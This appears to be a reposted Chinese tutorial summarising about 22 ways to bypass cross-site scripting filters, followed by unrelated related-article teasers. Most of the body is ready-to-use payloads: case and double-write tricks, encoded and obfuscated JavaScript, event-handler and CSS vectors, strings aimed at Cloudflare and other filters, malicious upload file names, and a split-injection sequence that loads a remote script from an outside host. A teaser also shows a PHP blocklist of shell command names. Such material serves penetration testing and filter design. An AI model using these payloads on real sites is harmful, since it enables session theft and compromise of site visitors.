跨站脚本攻击漏洞XSS绕过22种方式总结

news2024/11/15 20:27:49

XSS漏洞简介

跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。要想学习好XSS,需要重点对WEB应用有一个比较深入的了解,对后端防护规则需要有一个大概的了解,才能在渗透测试中游刃有余,在实际的渗透测试场景中,XSS在大多数情况都是增加了防护规则的,下面就介绍一下常见的XSS绕过的思路,仅仅提供思路,更多的还是需要大家对于漏洞的理解。
在这里插入图片描述

前端过滤

burp抓包改包绕过:
通过抓响应包,然后直接删除掉里面的JS校验的代码,核心让JS校验不起作用。
记住一句话: 前端校验等于没有校验。真正的校验还是得后端做。

双写绕过

核心掌握为什么要这样双写。需要知道后端校验的意图。

<scri<script>pt>alert(111)</scri<script>pt>

事件绕过

如:onclick、onmousemove、onblur、oninput事件
主打的就是绕黑名单

onmouseover="alert('miracle')"
onblur=alert(11)
oninput=alert(22)

大小写绕过

主要就是看后端正则校验是否区分了大小写。

<SCRIPT>aLeRT(111)</sCRIpt>

注释干扰绕过

主要还是和正则做对抗:思路思路

<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

伪协议绕过

这个就要分析源码看有没有相关的属性了,有就可以尝试。

111"> <a href="javascript:alert(9527)">xss</a>

< table background= "javascript:alert(9526)"> </table>

<img srC= "javascript:alert(9528);" >

空格回车Tab绕过

主要和正则对抗:

空格:<img src= "javascript:alert(9527);" >

TAB:< img src= "javasc :ript:alert(9528);" >

回车:< img src= "jav

ascript:

alert('xss');" >

编码绕过

编码绕过的本质就是需要了解编码的发展史,当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。

base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
<script> eval(atob('YWxlcnQoOTUyNyk='));</script>

base64编码多用于如下两种情况:
1. <a href= "可控点">
2. < iframe src= "可控点">

举例:
<a href= "data:text/html;base64,PGltZyBzcmM9eCDOv25lcnLOv3I9IGFsZXJ0KDk1MjYpPg==">xxx</a>
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的<img src=x οnerrοr= alert(9526)>

JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"

十六进制:

两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(9527);\x3c/script\x3e

unicode:

四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(9528);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"&#60;"
<img src="1" οnerrοr= "al&#101;r&#116;(1)">
浏览器是不会在html标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么

URL编码:

进行两次URL全编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

CSS绕过

利用IE特性绕过XSS过滤:

IE中两个反单引号 `` 可以闭合一个左边双引号

``οnmοusemοve= alert(1)

利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(9527);");

低版本IE浏览器6 10 D版本弹窗成功

IE中利用CSS触发xss:

CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(9528);window.x= 1;})

过滤空格

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

字符拼接

利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top
<img src="x" onerror="top['al'+'ert'](1)">

利用window
<img src="x" onerror="window['al'+'ert'](1)">

利用self
<img src="x" onerror="self[`al`+`ert`](1)">

利用parent
<img src="x" onerror="parent[`al`+`ert`](1)">

利用frames
<img src="x" onerror="frames[`al`+`ert`](1)">

其它字符混淆

<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x onerror="alert(`9526`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

过滤双引号,单引号

用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

alert 过滤

prompt 替换
<script>prompt(9527)</script>

confirm 替换
<script>confirm(9528)</script>

console.log 替换
<script>console.log(3306)</script>

document.write 替换
<script>document.write(8080)</script>

base64 绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

常用函数

<img src="x" onerror="eval(alert(1))">

<img src="x" onerror="open(alert(1))">

<img src="x" onerror="document.write(alert(1))">

<img src="x" onerror="setTimeout(alert(1))">

<img src="x" onerror="setInterval(alert(1))">

<img src="x" onerror="Set.constructor(alert(1))">

<img src="x" onerror="Map.constructor(alert(1))">

<img src="x" onerror="Array.constructor(alert(1))">

<img src="x" onerror="WeakSet.constructor(alert(1))">

<img src="x" onerror="constructor.constructor(alert(1))">

<img src="x" onerror="[1].map(alert(1))">

<img src="x" onerror="[1].find(alert(1))">

<img src="x" onerror="[1].every(alert(1))">

<img src="x" onerror="[1].filter(alert(1))">

<img src="x" onerror="[1].forEach(alert(1))">

<img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)>

<img src x=al y=ert onerror=top[x+y](1)>

<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过

<script>a='document.write("'</script>

<script>a=a+'<script src=ht'</script>

<script>a=a+'tp://note163.com/xs'</script>

<script>a=a+'s.js></script>")'</script>

<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://note163.com/xss.js></script>")

上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(443)</script>.gif/png

XSS绕过cloudflare

Payload:

<svg onload=alert&#0000000040document.domain)>

XSS绕过过滤

Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(6379)>

XSS(上传图片)

<img src=x onerror=alert('XSS')>.png ">

<img src=x οnerrοr=alert('XSS')>.png ">

<svg onmouseover=alert(1)>.svg

<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
以上就是XSS绕过的思路总结啦,借鉴了很多前辈的思路!非常🙏!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1353506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

YOLO+SlowFast+DeepSORT 简单实现视频行为识别

前言 前段时间刷短视频看到过别人用摄像头自动化监控员工上班状态&#xff0c;比如标注员工是不是离开了工位&#xff0c;在位置上是不是摸鱼。虽然是段子&#xff0c;但是这个是可以用识别技术实现一下&#xff0c;于是我在网上找&#xff0c;知道发现了 SlowFast&#xff0c…

模拟Spring事件监听机制

作者简介&#xff1a;大家好&#xff0c;我是smart哥&#xff0c;前中兴通讯、美团架构师&#xff0c;现某互联网公司CTO 联系qq&#xff1a;184480602&#xff0c;加我进群&#xff0c;大家一起学习&#xff0c;一起进步&#xff0c;一起对抗互联网寒冬 之前我们一起学习了Spr…

polar CTF 简单rce

一、题目 <?php /*PolarD&N CTF*/ highlight_file(__FILE__); function no($txt){if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{ die("whats up");}} $yyds(…

向日葵远程控制软件MySQL5.7的安装与配置

目录 一. 向日葵远程控制软件 1.1 简介 1.2 选择原因 1.3 安装及使用 1.4 使用场景 二. MySQL5.7 安装与配置 2.1 什么是MySQL 2.2 安装 MySQL5.7 2.2.1 安装步骤 2.2.2 内部连接 2.2.3 外部连接 三. 思维导图 一. 向日葵远程控制软件 1.1 简介 向日葵电脑版是一款拥有多年…

SpringCloudAlibaba之Gateway

1、简介 网关是系统唯一对外的入口&#xff0c;介于客户端与服务器端之间&#xff0c;用于对请求进行鉴权、限流、路由、监控等功能。 2、Gateway主要功能 2.1、route 路由 路由是网关的最基本组成&#xff0c;由一个路由 id、一个目标地址 url&#xff0c;一组断言工厂及一…

掌握静态S5:从入门到精通的指南

在现今的数据驱动时代&#xff0c;静态S5作为一款强大的数据分析工具&#xff0c;越来越受到各行各业的青睐。然而&#xff0c;如何从入门到精通&#xff0c;全面掌握静态S5的各项功能&#xff0c;成为了许多用户面临的挑战。本文将为你提供一份详尽的指南&#xff0c;助你顺利…

Lingo 17安装包下载及安装教程

Lingo 17下载链接&#xff1a;https://docs.qq.com/doc/DUndEVXd4WVVweGFR 1.鼠标右键解压到“Lingo 17.0” 2.双击打开【Setup】文件夹 3.选中Lingo 17.0&#xff0c;鼠标右键选择“以管理员身份运行” 4.点击“Next” 5.选中I accept the terms in the license agreement&…

【C程序设计】C循环

有的时候&#xff0c;我们可能需要多次执行同一块代码。一般情况下&#xff0c;语句是按顺序执行的&#xff1a;函数中的第一个语句先执行&#xff0c;接着是第二个语句&#xff0c;依此类推。 编程语言提供了更为复杂执行路径的多种控制结构。 循环语句允许我们多次执行一个…

Python 热力图的绘制(Matplotlib篇-12)

Python 热力图的绘制(Matplotlib篇-12)         🍹博主 侯小啾 感谢您的支持与信赖。☀️ 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ�…

陆面过程模式CLM、地球系统模式CESM安装及快速运行

目录 专题一 CESM、CLM运行条件及Linux编译基础 专题二 CESM、CLM基础 专题三 CLM程序获取、结构及其功能 专题四 CLM移植、安装及快速运行 专题五 CLM配置选项及数据文件制备 专题六 CLM单点或区域运行 专题七 CLM结果处理、分析及可视化 专题八 CLM代码修改、发展及改…

二、UI文件设计与运行机制

一、UI文件设计与运行机制 1、创建工程 2、添加控件&#xff0c;实现按钮点击 &#xff08;1&#xff09;添加控件 &#xff08;2&#xff09;添加信号和槽 2、分析项目结构 test_02test_02.pro Qt工程文件Headerswidget.h 设计的窗体类的头文件Sourcesmain.cpp 主程序入…

diffusers 源码待理解之处

一、训练DreamBooth时&#xff0c;相关代码的细节小计 ** class_labels timesteps 时&#xff0c;模型的前向传播怎么走&#xff1f;待深入去看 ** 利用class_prompt去生成数据&#xff0c;而不是instance_prompt class DreamBoothDataset(Dataset):"""A dat…

H5C3练习心得 2024.01.03(文字加载动画效果)--transition,动画渲染,遮罩层

&#xff08;一&#xff09;transition&#xff08;过渡效果&#xff09; 1.详解 通常将css的属性值更改后&#xff0c;浏览器会立即更新新的样式&#xff0c;例如在鼠标悬停在元素上时&#xff0c;通过 :hover 选择器定义的样式会立即应用在元素上。 在 CSS3 中加入了一项过…

Java虚拟机介绍

JVM是一种用于计算设备的规范&#xff0c;它是一个虚拟出来的计算机&#xff0c;是通过在实际的计算机上仿真模拟计算机的各个功能来实现的。Java语言的一个非常重要的特点就是与平台的无关性。而使用Java虚拟机是实现这一特点的关键。每个Java虚拟机都着一个清晰的任务&#x…

5分钟理解什么是多模态

大家好&#xff0c;我是董董灿。 大模型越来越多了&#xff0c;大模型下沉的行业也越来越多。前几周一个在电厂工作的老哥发消息问我&#xff1a;大模型中所谓的多模态是什么意思&#xff1f; 我当时大概跟他解释了一下。 其实在人工智能领域&#xff0c;我们经常会听到&quo…

leetcode递归算法题总结

递归本质是找重复的子问题 本章目录 1.汉诺塔2.合并两个有序链表3.反转链表4.两两交换链表中的节点5.Pow(x,n) 1.汉诺塔 汉诺塔 //面试写法 class Solution { public:void hanota(vector<int>& a, vector<int>& b, vector<int>& c) {dfs(a,b…

[DevOps-02] Code编码阶段工具

一、简要说明 在code阶段,我们需要将不同版本的代码存储到一个仓库中,常见的版本控制工具就是SVN或者Git,这里我们采用Git作为版本控制工具,GitLab作为远程仓库。 Git安装安装GitLab配置GitLab登录账户二、Git安装 Git官网 Githttps://git-scm.com/

HarmonyOS-ArkTS基本语法及声明式UI描述

初识ArkTS语言 ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript&#xff08;简称TS&#xff09;生态基础上做了进一步扩展&#xff0c;继承了TS的所有特性&#xff0c;是TS的超集。因此&#xff0c;在学习ArkTS语言之前&#xff0c;建议开发者具备TS语…

docker小白第十一天

docker小白第十一天 dockerfile分析 Dockerfile是用来构建Docker镜像的文本文件&#xff0c;是由一条条构建镜像所需的指令和参数构成的脚本。即构建新镜像时会用到。 构建三步骤&#xff1a;编写dockerfile文件-docker build命令构建镜像-docker run镜像 运行容器实例。即一…

Win32 基本程序设计原理总结

目录 1. Windows系统 基本原理 2. 需要什么函数库&#xff08;.LIB&#xff09; 2.1 C Runtimes&#xff1a; 2.2 Windows API 3. 需要什么头文件&#xff08;.H&#xff09; 4. Windows 程序运行的本质 5. 窗口类的注册与窗口的诞生 6.消息 6.1 消息分类&#xff1a;…